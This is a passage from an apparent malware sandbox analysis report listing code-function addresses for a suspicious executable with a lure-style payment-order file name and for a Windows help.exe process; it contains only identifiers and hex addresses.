          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 0_2_052A5AA00_2_052A5AA0
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 0_2_052A5AB00_2_052A5AB0
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_0041C0278_2_0041C027
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_004010308_2_00401030
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_0041C1968_2_0041C196
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_0041C9AB8_2_0041C9AB
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_0041BB0C8_2_0041BB0C
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_0041BC188_2_0041BC18
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_00408C908_2_00408C90
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_0041C5758_2_0041C575
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_00402D888_2_00402D88
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_00402D908_2_00402D90
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_00402FB08_2_00402FB0
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_013C0D208_2_013C0D20
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_01491D558_2_01491D55
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_013E41208_2_013E4120
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_013CF9008_2_013CF900
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_013DD5E08_2_013DD5E0
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_013D841F8_2_013D841F
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_014810028_2_01481002
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_013DB0908_2_013DB090
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_013FEBB08_2_013FEBB0
          Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exeCode function: 8_2_013E6E308_2_013E6E30
          Source: C:\Windows\SysWOW64\help.exeCode function: 20_2_03032B2820_2_03032B28
          Source: C:\Windows\SysWOW64\help.exeCode function: 20_2_0302DBD220_2_0302DBD2
          Source: C:\Windows\SysWOW64\help.exeCode function: 20_2_030203DA20_2_030203DA
          Source: C:\Windows\SysWOW64\help.exeCode function: 20_2_0301FA2B20_2_0301FA2B
          Source: C:\Windows\SysWOW64\help.exeCode function: 20_2_02F9EBB020_2_02F9EBB0
          Source: C:\Windows\SysWOW64\help.exeCode function: 20_2_030322AE20_2_030322AE
          Source: C:\Windows\SysWOW64\help.exeCode function: 20_2_02F920A020_2_02F920A0
          Source: C:\Windows\SysWOW64\help.exeCode function: 20_2_02F7B09020_2_02F7B090
          Source: C:\Windows\SysWOW64\help.exeCode function: 20_2_0302100220_2_03021002
          Source: C:\Windows\SysWOW64\help.exeCode function: 20_2_0303E82420_2_0303E824
          Source: C:\Windows\SysWOW64\help.exeCode function: 20_2_030320A820_2_030320A8
          Source: C:\Windows\SysWOW64\help.exeCode function: 20_2_02F8412020_2_02F84120
          Source: C:\Windows\SysWOW64\help.exeCode function: 20_2_030328EC20_2_030328EC
          Source: C:\Windows\SysWOW64\help.exeCode function: 20_2_02F6F90020_2_02F6F900
          Source: C:\Windows\SysWOW64\help.exeCode function: 20_2_02F86E3020_2_02F86E30
          Source: C:\Windows\SysWOW64\help.exeCode function: 20_2_0303DFCE20_2_0303DFCE
          Source: C:\Windows\SysWOW64\help.exeCode function: 20_2_03031FF120_2_03031FF1
          Source: C:\Windows\SysWOW64\help.exeCode function: 20_2_0302D61620_2_0302D616
          Source: C:\Windows\SysWOW64\help.exeCode function: 20_2_03032EF7